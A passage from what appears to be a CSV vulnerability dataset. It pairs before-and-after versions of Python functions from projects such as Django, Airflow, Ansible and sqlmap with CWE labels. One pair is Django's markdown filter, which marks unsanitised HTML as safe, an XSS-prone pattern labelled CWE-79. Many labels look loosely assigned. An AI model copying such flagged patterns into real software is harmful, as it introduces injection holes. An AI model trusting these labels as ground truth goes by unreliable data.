                ""has_outlet_datasets"": any(isinstance(i, Dataset) for i in (item.outlets or [])),
                ""operator"": item.operator_name,
            }

        # Task Group
        task_group = item

        children = [
            task_group_to_grid(child, dag_runs, grouped_tis) for child in task_group.topological_sort()
        ]

        def get_summary(dag_run, children):
            child_instances = [child[""instances""] for child in children if ""instances"" in child]
            child_instances = [
                item for sublist in child_instances for item in sublist if item[""run_id""] == dag_run.run_id
            ]

            children_start_dates = (item[""start_date""] for item in child_instances if item)
            children_end_dates = (item[""end_date""] for item in child_instances if item)
            children_states = {item[""state""] for item in child_instances if item}

            group_state = None
            for state in wwwutils.priority:
                if state in children_states:
                    group_state = state
                    break
            group_start_date = min(filter(None, children_start_dates), default=None)
            group_end_date = max(filter(None, children_end_dates), default=None)

            return {
                ""task_id"": task_group.group_id,
                ""run_id"": dag_run.run_id,
                ""state"": group_state,
                ""start_date"": group_start_date,
                ""end_date"": group_end_date,
            }

        # We don't need to calculate summaries for the root
        if task_group.group_id is None:
            return {
                ""id"": task_group.group_id,
                ""label"": task_group.label,
                ""children"": children,
                ""instances"": [],
            }

        group_summaries = [get_summary(dr, children) for dr in dag_runs]

        return {
            ""id"": task_group.group_id,
            ""label"": task_group.label,
            ""children"": children,
            ""tooltip"": task_group.tooltip,
            ""instances"": group_summaries,
        }

    return task_group_to_grid(dag.task_group, dag_runs, grouped_tis)"
,UNKNOWN,UNKNOWN,tests/models/test_taskinstance.py,1,"def test_outlet_asset_alias_asset_not_exists(self, dag_maker, session):
        from airflow.sdk.definitions.asset import Asset, AssetAlias

        asset_alias_name = ""test_outlet_asset_alias_asset_not_exists_asset_alias""
        asset_uri = ""does_not_exist""

        with dag_maker(dag_id=""producer_dag"", schedule=None, serialized=True, session=session):

            @task(outlets=AssetAlias(asset_alias_name))
            def producer(*, outlet_events):
                outlet_events[AssetAlias(asset_alias_name)].add(Asset(asset_uri), extra={""key"": ""value""})

            producer()

        (ti,) = dag_maker.create_dagrun().get_task_instances(session=session)

        with pytest.raises(AirflowInactiveAssetAddedToAssetAliasException) as ctx:
            ti.run(session=session)
        assert str(ctx.value) == (
            ""The following assets accessed by an AssetAlias are inactive: ""
            ""Asset(name='does_not_exist', uri='does_not_exist')""
        )

        assert session.scalar(select(AssetEvent)) is None",CWE-703,apache/airflow,2fa9230d2a5dcb09123a2dbb9297894ac40471ad,"def test_outlet_asset_alias_asset_not_exists(self, dag_maker, session):
        from airflow.sdk.definitions.asset import Asset, AssetAlias

        asset_alias_name = ""test_outlet_asset_alias_asset_not_exists_asset_alias""
        asset_uri = ""did_not_exists""

        with dag_maker(dag_id=""producer_dag"", schedule=None, serialized=True, session=session):

            @task(outlets=AssetAlias(asset_alias_name))
            def producer(*, outlet_events):
                outlet_events[AssetAlias(asset_alias_name)].add(Asset(asset_uri), extra={""key"": ""value""})

            producer()

        dr: DagRun = dag_maker.create_dagrun()

        for ti in dr.get_task_instances(session=session):
            ti.run(session=session)

        producer_event = session.scalar(select(AssetEvent).where(AssetEvent.source_task_id == ""producer""))

        assert producer_event.source_task_id == ""producer""
        assert producer_event.source_dag_id == ""producer_dag""
        assert producer_event.source_run_id == ""test""
        assert producer_event.source_map_index == -1
        assert producer_event.asset.uri == asset_uri
        assert producer_event.extra == {""key"": ""value""}
        assert len(producer_event.source_aliases) == 1
        assert producer_event.source_aliases[0].name == asset_alias_name

        asset_obj = session.scalar(select(AssetModel).where(AssetModel.uri == asset_uri))
        assert len(asset_obj.aliases) == 1
        assert asset_obj.aliases[0].name == asset_alias_name

        asset_alias_obj = session.scalar(select(AssetAliasModel))
        assert len(asset_alias_obj.assets) == 1
        assert asset_alias_obj.assets[0].uri == asset_uri"
functions_for_bandit_with_cwe.csv,UNKNOWN,UNKNOWN,bandit/core/manager.py,0,"def _get_files_from_dir(files_dir, included_globs=None,
                        excluded_path_strings=None):
    if not included_globs:
        included_globs = ['*.py']
    if not excluded_path_strings:
        excluded_path_strings = []

    files_list = set()
    excluded_files = set()

    for root, _, files in os.walk(files_dir):
        for filename in files:
            path = os.path.join(root, filename)
            if _is_file_included(path, included_globs, excluded_path_strings):
                files_list.add(path)
            else:
                excluded_files.add(path)

    return files_list, excluded_files",UNKNOWN,PyCQA/bandit,57007dd28b2876aa924a399ac653bf74d15543a7,"def _get_files_from_dir(files_dir, included_globs=None,
                        excluded_path_strings=None):
    if not included_globs:
        included_globs = ['*.py']
    if not excluded_path_strings:
        excluded_path_strings = []

    files_list = set()
    excluded_files = set()

    for root, subdirs, files in os.walk(files_dir):
        for filename in files:
            path = os.path.join(root, filename)
            if _is_file_included(path, included_globs, excluded_path_strings):
                files_list.add(path)
            else:
                excluded_files.add(path)

    return files_list, excluded_files"
,UNKNOWN,UNKNOWN,tests/api_fastapi/execution_api/routes/test_task_instances.py,1,"def test_ti_run_state_to_running(self, client, session, create_task_instance, time_machine):
        """"""
        Test that the Task Instance state is updated to running when the Task Instance is in a state where it can be
        marked as running.
        """"""
        instant_str = ""2024-09-30T12:00:00Z""
        instant = timezone.parse(instant_str)
        time_machine.move_to(instant, tick=False)

        ti = create_task_instance(
            task_id=""test_ti_run_state_to_running"",
            state=State.QUEUED,
            session=session,
            start_date=instant,
        )

        session.commit()

        response = client.patch(
            f""/execution/task-instances/{ti.id}/run"",
            json={
                ""state"": ""running"",
                ""hostname"": ""random-hostname"",
                ""unixname"": ""random-unixname"",
                ""pid"": 100,
                ""start_date"": instant_str,
            },
        )

        assert response.status_code == 200
        assert response.json() == {
            ""dag_run"": {
                ""dag_id"": ""dag"",
                ""run_id"": ""test"",
                ""clear_number"": 0,
                ""logical_date"": instant_str,
                ""data_interval_start"": instant.subtract(days=1).to_iso8601_string(),
                ""data_interval_end"": instant_str,
                ""run_after"": instant_str,
                ""start_date"": instant_str,
                ""end_date"": None,
                ""run_type"": ""manual"",
                ""conf"": {},
            },
            ""task_reschedule_count"": 0,
            ""max_tries"": 0,
            ""variables"": [],
            ""connections"": [],
        }

        # Refresh the Task Instance from the database so that we can check the updated values
        session.refresh(ti)
        assert ti.state == State.RUNNING
        assert ti.hostname == ""random-hostname""
        assert ti.unixname == ""random-unixname""
        assert ti.pid == 100",CWE-703,apache/airflow,811fa2b016ca613061e5d4d32fee005e53c1bf1d,"def test_ti_run_state_to_running(self, client, session, create_task_instance, time_machine):
        """"""
        Test that the Task Instance state is updated to running when the Task Instance is in a state where it can be
        marked as running.
        """"""
        instant_str = ""2024-09-30T12:00:00Z""
        instant = timezone.parse(instant_str)
        time_machine.move_to(instant, tick=False)

        ti = create_task_instance(
            task_id=""test_ti_run_state_to_running"",
            state=State.QUEUED,
            session=session,
            start_date=instant,
        )

        session.commit()

        response = client.patch(
            f""/execution/task-instances/{ti.id}/run"",
            json={
                ""state"": ""running"",
                ""hostname"": ""random-hostname"",
                ""unixname"": ""random-unixname"",
                ""pid"": 100,
                ""start_date"": instant_str,
            },
        )

        assert response.status_code == 200
        assert response.json() == {
            ""dag_run"": {
                ""dag_id"": ""dag"",
                ""run_id"": ""test"",
                ""clear_number"": 0,
                ""logical_date"": instant_str,
                ""data_interval_start"": instant.subtract(days=1).to_iso8601_string(),
                ""data_interval_end"": instant_str,
                ""run_after"": instant_str,
                ""start_date"": instant_str,
                ""end_date"": None,
                ""external_trigger"": False,
                ""run_type"": ""manual"",
                ""conf"": {},
            },
            ""task_reschedule_count"": 0,
            ""max_tries"": 0,
            ""variables"": [],
            ""connections"": [],
        }

        # Refresh the Task Instance from the database so that we can check the updated values
        session.refresh(ti)
        assert ti.state == State.RUNNING
        assert ti.hostname == ""random-hostname""
        assert ti.unixname == ""random-unixname""
        assert ti.pid == 100"
,UNKNOWN,UNKNOWN,lib/ansible/utils/module_docs.py,1,"def get_docstring(filename, verbose=False):
    """"""
    Search for assignment of the DOCUMENTATION and EXAMPLES variables
    in the given file.
    Parse DOCUMENTATION from YAML and return the YAML doc or None
    together with EXAMPLES, as plain text.

    DOCUMENTATION can be extended using documentation fragments
    loaded by the PluginLoader from the module_docs_fragments
    directory.
    """"""

    doc = None
    plainexamples = None
    returndocs = None

    try:
        # Thank you, Habbie, for this bit of code :-)
        M = ast.parse(''.join(open(filename)))
        for child in M.body:
            if isinstance(child, ast.Assign):
                for t in child.targets:
                    try:
                        theid = t.id
                    except AttributeError as e:
                        # skip errors can happen when trying to use the normal code
                        display.warning(""Failed to assign id for %s on %s, skipping"" % (t, filename))
                        continue

                    if 'DOCUMENTATION' in theid:
                        doc = AnsibleLoader(child.value.s, file_name=filename).get_single_data()
                        fragments = doc.get('extends_documentation_fragment', [])

                        if isinstance(fragments, string_types):
                            fragments = [ fragments ]

                        # Allow the module to specify a var other than DOCUMENTATION
                        # to pull the fragment from, using dot notation as a separator
                        for fragment_slug in fragments:
                            fragment_slug = fragment_slug.lower()
                            if '.' in fragment_slug:
                                fragment_name, fragment_var = fragment_slug.split('.', 1)
                                fragment_var = fragment_var.upper()
                            else:
                                fragment_name, fragment_var = fragment_slug, 'DOCUMENTATION'

                            fragment_class = fragment_loader.get(fragment_name)
                            assert fragment_class is not None

                            fragment_yaml = getattr(fragment_class, fragment_var, '{}')
                            fragment = AnsibleLoader(fragment_yaml, file_name=filename).get_single_data()

                            if 'notes' in fragment:
                                notes = fragment.pop('notes')
                                if notes:
                                    if 'notes' not in doc:
                                        doc['notes'] = []
                                    doc['notes'].extend(notes)

                            if 'options' not in fragment.keys():
                                raise Exception(""missing options in fragment, possibly misformatted?"")

                            for key, value in fragment.items():
                                if key not in doc:
                                    doc[key] = value
                                else:
                                    if isinstance(doc[key], MutableMapping):
                                        doc[key].update(value)
                                    elif isinstance(doc[key], MutableSet):
                                        doc[key].add(value)
                                    elif isinstance(doc[key], MutableSequence):
                                        doc[key] = sorted(frozenset(doc[key] + value))
                                    else:
                                        raise Exception(""Attempt to extend a documentation fragement of unknown type"")

                    elif 'EXAMPLES' in theid:
                        plainexamples = child.value.s[1:]  # Skip first empty line

                    elif 'RETURN' in theid:
                        returndocs = child.value.s[1:]
    except:
        display.error(""unable to parse %s"" % filename)
        if verbose == True:
            display.display(""unable to parse %s"" % filename)
            raise
    return doc, plainexamples, returndocs",CWE-703,ansible/ansible,5bf1269aafebaaa74ce43ca6224b037466653017,"def get_docstring(filename, verbose=False):
    """"""
    Search for assignment of the DOCUMENTATION and EXAMPLES variables
    in the given file.
    Parse DOCUMENTATION from YAML and return the YAML doc or None
    together with EXAMPLES, as plain text.

    DOCUMENTATION can be extended using documentation fragments
    loaded by the PluginLoader from the module_docs_fragments
    directory.
    """"""

    doc = None
    plainexamples = None
    returndocs = None

    try:
        # Thank you, Habbie, for this bit of code :-)
        M = ast.parse(''.join(open(filename)))
        for child in M.body:
            if isinstance(child, ast.Assign):
                for t in child.targets:
                    try:
                        theid = t.id
                    except AttributeError as e:
                        # skip errors can happen when trying to use the normal code
                        display.warning(""Failed to assign id for %s on %s, skipping"" % (t, filename))
                        continue

                    if 'DOCUMENTATION' in theid:
                        doc = AnsibleLoader(child.value.s, file_name=filename).get_single_data()
                        fragments = doc.get('extends_documentation_fragment', [])

                        if isinstance(fragments, string_types):
                            fragments = [ fragments ]

                        # Allow the module to specify a var other than DOCUMENTATION
                        # to pull the fragment from, using dot notation as a separator
                        for fragment_slug in fragments:
                            fragment_slug = fragment_slug.lower()
                            if '.' in fragment_slug:
                                fragment_name, fragment_var = fragment_slug.split('.', 1)
                                fragment_var = fragment_var.upper()
                            else:
                                fragment_name, fragment_var = fragment_slug, 'DOCUMENTATION'

                            fragment_class = fragment_loader.get(fragment_name)
                            assert fragment_class is not None

                            fragment_yaml = getattr(fragment_class, fragment_var, '{}')
                            fragment = AnsibleLoader(fragment_yaml, file_name=filename).get_single_data()

                            if fragment.has_key('notes'):
                                notes = fragment.pop('notes')
                                if notes:
                                    if not doc.has_key('notes'):
                                        doc['notes'] = []
                                    doc['notes'].extend(notes)

                            if 'options' not in fragment.keys():
                                raise Exception(""missing options in fragment, possibly misformatted?"")

                            for key, value in fragment.items():
                                if not doc.has_key(key):
                                    doc[key] = value
                                else:
                                    if isinstance(doc[key], MutableMapping):
                                        doc[key].update(value)
                                    elif isinstance(doc[key], MutableSet):
                                        doc[key].add(value)
                                    elif isinstance(doc[key], MutableSequence):
                                        doc[key] = sorted(frozenset(doc[key] + value))
                                    else:
                                        raise Exception(""Attempt to extend a documentation fragement of unknown type"")

                    elif 'EXAMPLES' in theid:
                        plainexamples = child.value.s[1:]  # Skip first empty line

                    elif 'RETURN' in theid:
                        returndocs = child.value.s[1:]
    except:
        display.error(""unable to parse %s"" % filename)
        if verbose == True:
            display.display(""unable to parse %s"" % filename)
            raise
    return doc, plainexamples, returndocs"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/contrib/admindocs/views.py,0,"def get_context_data(self, **kwargs):
        template = self.kwargs['template']
        templates = []
        try:
            default_engine = Engine.get_default()
        except ImproperlyConfigured:
            # Non-trivial TEMPLATES settings aren't supported (#24125).
            pass
        else:
            # This doesn't account for template loaders (#24128).
            for index, directory in enumerate(default_engine.dirs):
                template_file = os.path.join(directory, template)
                if os.path.exists(template_file):
                    with open(template_file) as f:
                        template_contents = f.read()
                else:
                    template_contents = ''
                templates.append({
                    'file': template_file,
                    'exists': os.path.exists(template_file),
                    'contents': template_contents,
                    'order': index,
                })
        kwargs.update({
            'name': template,
            'templates': templates,
        })
        return super(TemplateDetailView, self).get_context_data(**kwargs)",CWE-Unknown,django/django,a2fb2b3a1feee512131c76e9040232faf2362526,"def get_context_data(self, **kwargs):
        template = self.kwargs['template']
        templates = []
        try:
            default_engine = Engine.get_default()
        except ImproperlyConfigured:
            # Non-trivial TEMPLATES settings aren't supported (#24125).
            pass
        else:
            # This doesn't account for template loaders (#24128).
            for index, directory in enumerate(default_engine.dirs):
                template_file = os.path.join(directory, template)
                templates.append({
                    'file': template_file,
                    'exists': os.path.exists(template_file),
                    'contents': lambda: open(template_file).read() if os.path.exists(template_file) else '',
                    'order': index,
                })
        kwargs.update({
            'name': template,
            'templates': templates,
        })
        return super(TemplateDetailView, self).get_context_data(**kwargs)"
,UNKNOWN,UNKNOWN,tests/test_cli.py,1,"def test_mlflow_run():
    with mock.patch(""mlflow.cli.projects"") as mock_projects:
        result = CliRunner().invoke(run)
        mock_projects.run.assert_not_called()
        assert ""Missing argument 'URI'"" in result.output

    with mock.patch(""mlflow.cli.projects"") as mock_projects:
        CliRunner().invoke(run, [""project_uri""])
        mock_projects.run.assert_called_once()

    with mock.patch(""mlflow.cli.projects"") as mock_projects:
        CliRunner().invoke(run, [""--experiment-id"", ""5"", ""project_uri""])
        mock_projects.run.assert_called_once()

    with mock.patch(""mlflow.cli.projects"") as mock_projects:
        CliRunner().invoke(run, [""--experiment-name"", ""random name"", ""project_uri""])
        mock_projects.run.assert_called_once()

    with mock.patch(""mlflow.cli.projects"") as mock_projects:
        result = CliRunner().invoke(run, [""--experiment-id"", ""51"",
                                          ""--experiment-name"", ""name blah"", ""uri""])
        mock_projects.run.assert_not_called()
        assert ""Specify only one of 'experiment-name' or 'experiment-id' options."" in result.output",CWE-703,mlflow/mlflow,215c1576601efa608b82cfc1a6c2ffe9bada9b49,"def test_mlflow_run():
    with mock.patch(""mlflow.cli.projects"") as mock_projects:
        result = CliRunner().invoke(run)
        mock_projects.run.assert_not_called()
        assert 'Missing argument ""URI""' in result.output

    with mock.patch(""mlflow.cli.projects"") as mock_projects:
        CliRunner().invoke(run, [""project_uri""])
        mock_projects.run.assert_called_once()

    with mock.patch(""mlflow.cli.projects"") as mock_projects:
        CliRunner().invoke(run, [""--experiment-id"", ""5"", ""project_uri""])
        mock_projects.run.assert_called_once()

    with mock.patch(""mlflow.cli.projects"") as mock_projects:
        CliRunner().invoke(run, [""--experiment-name"", ""random name"", ""project_uri""])
        mock_projects.run.assert_called_once()

    with mock.patch(""mlflow.cli.projects"") as mock_projects:
        result = CliRunner().invoke(run, [""--experiment-id"", ""51"",
                                          ""--experiment-name"", ""name blah"", ""uri""])
        mock_projects.run.assert_not_called()
        assert ""Specify only one of 'experiment-name' or 'experiment-id' options."" in result.output"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,plugins/audit/xss.py,0,"def audit(self, freq ):
        '''
        Tests an URL for XSS vulnerabilities.
        
        @param freq: A fuzzableRequest
        '''
        om.out.debug( 'XSS plugin is testing: ' + freq.getURL() )
        
        # Save it here, so I can search for permanent XSS
        self._fuzzableRequests.append( freq )
        
        # This list is just to test if the parameter is echoed back
        fake_mutants = createMutants( freq , ['', ] )
        for mutant in fake_mutants:
            # verify if the variable we are fuzzing is actually being echoed back
            if self._is_echoed( mutant ):
                # Search for reflected XSS
                self._search_reflected_xss(mutant)
                # And also check stored
                self._search_stored_xss(mutant)
                
            elif self._check_stored_xss:
                # Search for permanent XSS
                self._search_stored_xss(mutant)",,andresriancho/w3af,85407197aa071143e7abbb24b13a43032f216d12,"def audit(self, freq ):
        '''
        Tests an URL for XSS vulnerabilities.
        
        @param freq: A fuzzableRequest
        '''
        om.out.debug( 'Xss plugin is testing: ' + freq.getURL() )
        
        # Save it here, so I can search for permanent XSS
        self._fuzzableRequests.append( freq )
        
        # This list is just to test if the parameter is echoed back
        fake_mutants = createMutants( freq , ['', ] )
        for mutant in fake_mutants:
            # verify if the variable we are fuzzing is actually being echoed back
            if self._is_echoed( mutant ):
                # Search for reflected XSS
                self._search_reflected_xss(mutant)
                # And also check stored
                self._search_stored_xss(mutant)
                
            elif self._check_stored_xss:
                # Search for permanent XSS
                self._search_stored_xss(mutant)"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/core/agent.py,0,"def replacePayload(self, value, payload):
        """"""
        Replaces payload inside the input string with a given payload
        """"""

        _ = re.escape(PAYLOAD_DELIMITER)
        return re.sub(""(?s)(%s.*?%s)"" % (_, _), (""%s%s%s"" % (PAYLOAD_DELIMITER, getUnicode(payload), PAYLOAD_DELIMITER)).replace(""\\"", r""\\""), value) if value else value",,sqlmapproject/sqlmap,7fa9c8e938e5f41822c56810f69476a6f6d5389c,"def replacePayload(self, value, payload):
        """"""
        Replaces payload inside the input string with a given payload
        """"""

        _ = re.escape(PAYLOAD_DELIMITER)
        return re.sub(""(?s)(%s.*?%s)"" % (_, _), (""%s%s%s"" % (PAYLOAD_DELIMITER, payload, PAYLOAD_DELIMITER)).replace(""\\"", r""\\""), value) if value else value"
,UNKNOWN,UNKNOWN,tests/integration/modules/test_state.py,1,"def setUp(self):
        super(StateModuleTest, self).setUp()
        destpath = os.path.join(FILES, 'file', 'base', 'testappend', 'firstif')
        destpath = os.path.join(FILES, 'file', 'base', 'testappend', 'secondif')
        sls = self.run_function('saltutil.sync_modules')
        assert isinstance(sls, list)",CWE-703,saltstack/salt,8fdfe1ae7ecaea0655c967824c41a94c443e40bb,"def setUp(self):
        super(StateModuleTest, self).setUp()
        destpath = os.path.join(FILES, 'file', 'base', 'testappend', 'firstif')
        reline(destpath, destpath, force=True)
        destpath = os.path.join(FILES, 'file', 'base', 'testappend', 'secondif')
        reline(destpath, destpath, force=True)
        sls = self.run_function('saltutil.sync_modules')
        assert isinstance(sls, list)"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,tests/gis_tests/geoapp/tests.py,0,"def test_null_geometries(self):
        ""Testing NULL geometry support, and the `isnull` lookup type.""
        # Creating a state with a NULL boundary.
        State.objects.create(name='Puerto Rico')

        # Querying for both NULL and Non-NULL values.
        nullqs = State.objects.filter(poly__isnull=True)
        validqs = State.objects.filter(poly__isnull=False)

        # Puerto Rico should be NULL (it's a commonwealth unincorporated territory)
        self.assertEqual(1, len(nullqs))
        self.assertEqual('Puerto Rico', nullqs[0].name)
        # GeometryField=None is an alias for __isnull=True.
        self.assertCountEqual(State.objects.filter(poly=None), nullqs)
        self.assertCountEqual(State.objects.exclude(poly=None), validqs)

        # The valid states should be Colorado & Kansas
        self.assertEqual(2, len(validqs))
        state_names = [s.name for s in validqs]
        self.assertIn('Colorado', state_names)
        self.assertIn('Kansas', state_names)

        # Saving another commonwealth w/a NULL geometry.
        nmi = State.objects.create(name='Northern Mariana Islands', poly=None)
        self.assertIsNone(nmi.poly)

        # Assigning a geometry and saving -- then UPDATE back to NULL.
        nmi.poly = 'POLYGON((0 0,1 0,1 1,1 0,0 0))'
        nmi.save()
        State.objects.filter(name='Northern Mariana Islands').update(poly=None)
        self.assertIsNone(State.objects.get(name='Northern Mariana Islands').poly)",CWE-Unknown,django/django,da71e4bb086593b5ca76bf698358d27ead2cfed2,"def test_null_geometries(self):
        ""Testing NULL geometry support, and the `isnull` lookup type.""
        # Creating a state with a NULL boundary.
        State.objects.create(name='Puerto Rico')

        # Querying for both NULL and Non-NULL values.
        nullqs = State.objects.filter(poly__isnull=True)
        validqs = State.objects.filter(poly__isnull=False)

        # Puerto Rico should be NULL (it's a commonwealth unincorporated territory)
        self.assertEqual(1, len(nullqs))
        self.assertEqual('Puerto Rico', nullqs[0].name)

        # The valid states should be Colorado & Kansas
        self.assertEqual(2, len(validqs))
        state_names = [s.name for s in validqs]
        self.assertIn('Colorado', state_names)
        self.assertIn('Kansas', state_names)

        # Saving another commonwealth w/a NULL geometry.
        nmi = State.objects.create(name='Northern Mariana Islands', poly=None)
        self.assertIsNone(nmi.poly)

        # Assigning a geometry and saving -- then UPDATE back to NULL.
        nmi.poly = 'POLYGON((0 0,1 0,1 1,1 0,0 0))'
        nmi.save()
        State.objects.filter(name='Northern Mariana Islands').update(poly=None)
        self.assertIsNone(State.objects.get(name='Northern Mariana Islands').poly)"
,UNKNOWN,UNKNOWN,django/db/backends/sqlite3/introspection.py,1,"def get_relations(self, cursor, table_name):
        """"""
        Returns a dictionary of {field_index: (field_index_other_table, other_table)}
        representing all relationships to the given table. Indexes are 0-based.
        """"""

        # Dictionary of relations to return
        relations = {}

        # Schema for this table
        cursor.execute(""SELECT sql FROM sqlite_master WHERE tbl_name = %s AND type = %s"", [table_name, ""table""])
        try:
            results = cursor.fetchone()[0].strip()
        except TypeError:
            # It might be a view, then no results will be returned
            return relations
        results = results[results.index('(') + 1:results.rindex(')')]

        # Walk through and look for references to other tables. SQLite doesn't
        # really have enforced references, but since it echoes out the SQL used
        # to create the table we can look for REFERENCES statements used there.
        for field_desc in results.split(','):
            field_desc = field_desc.strip()
            if field_desc.startswith(""UNIQUE""):
                continue

            m = re.search('references (\S*) ?\([""|]?(.*)[""|]?\)', field_desc, re.I)
            if not m:
                continue
            table, column = [s.strip('""') for s in m.groups()]

            if field_desc.startswith(""FOREIGN KEY""):
                # Find name of the target FK field
                m = re.match('FOREIGN KEY\(([^\)]*)\).*', field_desc, re.I)
                field_name = m.groups()[0].strip('""')
            else:
                field_name = field_desc.split()[0].strip('""')

            cursor.execute(""SELECT sql FROM sqlite_master WHERE tbl_name = %s"", [table])
            result = cursor.fetchall()[0]
            other_table_results = result[0].strip()
            li, ri = other_table_results.index('('), other_table_results.rindex(')')
            other_table_results = other_table_results[li + 1:ri]

            for other_desc in other_table_results.split(','):
                other_desc = other_desc.strip()
                if other_desc.startswith('UNIQUE'):
                    continue

                other_name = other_desc.split(' ', 1)[0].strip('""')
                if other_name == column:
                    relations[field_name] = (other_name, table)
                    break

        return relations",CWE-89,django/django,4c413e231cfe788de6e371567f395c8ccbd26103,"def get_relations(self, cursor, table_name):
        """"""
        Returns a dictionary of {field_index: (field_index_other_table, other_table)}
        representing all relationships to the given table. Indexes are 0-based.
        """"""

        # Dictionary of relations to return
        relations = {}

        # Schema for this table
        cursor.execute(""SELECT sql FROM sqlite_master WHERE tbl_name = %s AND type = %s"", [table_name, ""table""])
        try:
            results = cursor.fetchone()[0].strip()
        except TypeError:
            # It might be a view, then no results will be returned
            return relations
        results = results[results.index('(') + 1:results.rindex(')')]

        # Walk through and look for references to other tables. SQLite doesn't
        # really have enforced references, but since it echoes out the SQL used
        # to create the table we can look for REFERENCES statements used there.
        field_names = []
        for field_index, field_desc in enumerate(results.split(',')):
            field_desc = field_desc.strip()
            if field_desc.startswith(""UNIQUE""):
                continue

            field_names.append(field_desc.split()[0].strip('""'))
            m = re.search('references (\S*) ?\([""|]?(.*)[""|]?\)', field_desc, re.I)
            if not m:
                continue

            table, column = [s.strip('""') for s in m.groups()]
            if field_desc.startswith(""FOREIGN KEY""):
                # Find index of the target FK field
                m = re.match('FOREIGN KEY\(([^\)]*)\).*', field_desc, re.I)
                fkey_field = m.groups()[0].strip('""')
                field_index = field_names.index(fkey_field)

            cursor.execute(""SELECT sql FROM sqlite_master WHERE tbl_name = %s"", [table])
            result = cursor.fetchall()[0]
            other_table_results = result[0].strip()
            li, ri = other_table_results.index('('), other_table_results.rindex(')')
            other_table_results = other_table_results[li + 1:ri]

            for other_index, other_desc in enumerate(other_table_results.split(',')):
                other_desc = other_desc.strip()
                if other_desc.startswith('UNIQUE'):
                    continue

                name = other_desc.split(' ', 1)[0].strip('""')
                if name == column:
                    relations[field_index] = (other_index, table)
                    break

        return relations"
,UNKNOWN,UNKNOWN,tests/store/artifact/test_gcs_artifact_repo.py,1,"def test_abort_multipart_upload(mock_client):
    artifact_root_path = ""experiment_id/run_id/""
    bucket_name = ""test_bucket""
    file_name = ""file.txt""
    gcs_base_url = ""gcs_base_url""
    repo = GCSArtifactRepository(""gs://test_bucket"" + artifact_root_path, mock_client)

    upload_id = ""some_upload_id""
    gcs_mpu_arguments_patch = mock.patch(
        ""mlflow.store.artifact.gcs_artifact_repo.GCSArtifactRepository._gcs_mpu_arguments"",
        return_value=GCSMPUArguments(
            requests.Session(),
            f""{gcs_base_url}/{bucket_name}/{artifact_root_path}/{file_name}"",
            {},
            ""application/octet-stream"",
        ),
    )

    resp = mock.Mock(status_code=204)
    with gcs_mpu_arguments_patch, mock.patch(
        ""requests.Session.request"", return_value=resp
    ) as request_mock:
        repo.abort_multipart_upload(file_name, upload_id, artifact_root_path)
        request_mock.assert_called_once()
        args, kwargs = request_mock.call_args
        assert args == (
            ""DELETE"",
            f""{gcs_base_url}/{bucket_name}/{artifact_root_path}/{file_name}?uploadId={upload_id}"",
        )
        assert kwargs[""data""] is None",CWE-703,mlflow/mlflow,90b227ee2e12054517c9c3f57e4c276fc81fdfc7,"def test_abort_multipart_upload(mock_client):
    artifact_root_path = ""experiment_id/run_id/""
    bucket_name = ""test_bucket""
    file_name = ""file.txt""
    gcs_base_url = ""gcs_base_url""
    repo = GCSArtifactRepository(""gs://test_bucket"" + artifact_root_path, mock_client)

    upload_id = ""some_upload_id""
    gcs_mpu_arguments_patch = mock.patch(
        ""mlflow.store.artifact.gcs_artifact_repo.GCSArtifactRepository._gcs_mpu_arguments"",
        return_value=GCSMPUArguments(
            requests.Session(),
            f""{gcs_base_url}/{bucket_name}/{artifact_root_path}/{file_name}"",
            {},
            ""application/octet-stream"",
        ),
    )

    resp = mock.Mock(status_code=204)
    with gcs_mpu_arguments_patch, mock.patch(
        ""requests.Session.request"", return_value=resp
    ) as request_mock:
        repo.abort_multipart_upload(file_name, upload_id, artifact_root_path)
        request_mock.assert_called_once()
        args, kwargs = request_mock.call_args
        assert args == (
            ""DELETE"",
            f""{gcs_base_url}/{bucket_name}/{artifact_root_path}/{file_name}?uploadId={upload_id}"",
        )
        assert kwargs[""data""] is None"
,UNKNOWN,UNKNOWN,django/contrib/markup/templatetags/markup.py,1,"def markdown(value, arg=''):
    """"""
    Runs Markdown over a given value, optionally using various
    extensions python-markdown supports.

    Syntax::

        {{ value|markdown:""extension1_name,extension2_name..."" }}

    To enable safe mode, which strips raw HTML and only returns HTML
    generated by actual Markdown syntax, pass ""safe"" as the first
    extension in the list.

    If the version of Markdown in use does not support extensions,
    they will be silently ignored.

    """"""
    import warnings
    warnings.warn('The markdown filter has been deprecated',
                  category=DeprecationWarning)
    try:
        import markdown
    except ImportError:
        if settings.DEBUG:
            raise template.TemplateSyntaxError(""Error in 'markdown' filter: The Python markdown library isn't installed."")
        return force_text(value)
    else:
        markdown_vers = getattr(markdown, ""version_info"", 0)
        if markdown_vers < (2, 1):
            if settings.DEBUG:
                raise template.TemplateSyntaxError(
                    ""Error in 'markdown' filter: Django does not support versions of the Python markdown library < 2.1."")
            return force_text(value)
        else:
            extensions = [e for e in arg.split("","") if e]
            if extensions and extensions[0] == ""safe"":
                extensions = extensions[1:]
                return mark_safe(markdown.markdown(
                    force_text(value), extensions, safe_mode=True, enable_attributes=False))
            else:
                return mark_safe(markdown.markdown(
                    force_text(value), extensions, safe_mode=False))",CWE-79,django/django,3da43c11113e0ef109ffbecae528aef853879281,"def markdown(value, arg=''):
    """"""
    Runs Markdown over a given value, optionally using various
    extensions python-markdown supports.

    Syntax::

        {{ value|markdown:""extension1_name,extension2_name..."" }}

    To enable safe mode, which strips raw HTML and only returns HTML
    generated by actual Markdown syntax, pass ""safe"" as the first
    extension in the list.

    If the version of Markdown in use does not support extensions,
    they will be silently ignored.

    """"""
    try:
        import markdown
    except ImportError:
        if settings.DEBUG:
            raise template.TemplateSyntaxError(""Error in 'markdown' filter: The Python markdown library isn't installed."")
        return force_text(value)
    else:
        markdown_vers = getattr(markdown, ""version_info"", 0)
        if markdown_vers < (2, 1):
            if settings.DEBUG:
                raise template.TemplateSyntaxError(
                    ""Error in 'markdown' filter: Django does not support versions of the Python markdown library < 2.1."")
            return force_text(value)
        else:
            extensions = [e for e in arg.split("","") if e]
            if extensions and extensions[0] == ""safe"":
                extensions = extensions[1:]
                return mark_safe(markdown.markdown(
                    force_text(value), extensions, safe_mode=True, enable_attributes=False))
            else:
                return mark_safe(markdown.markdown(
                    force_text(value), extensions, safe_mode=False))"
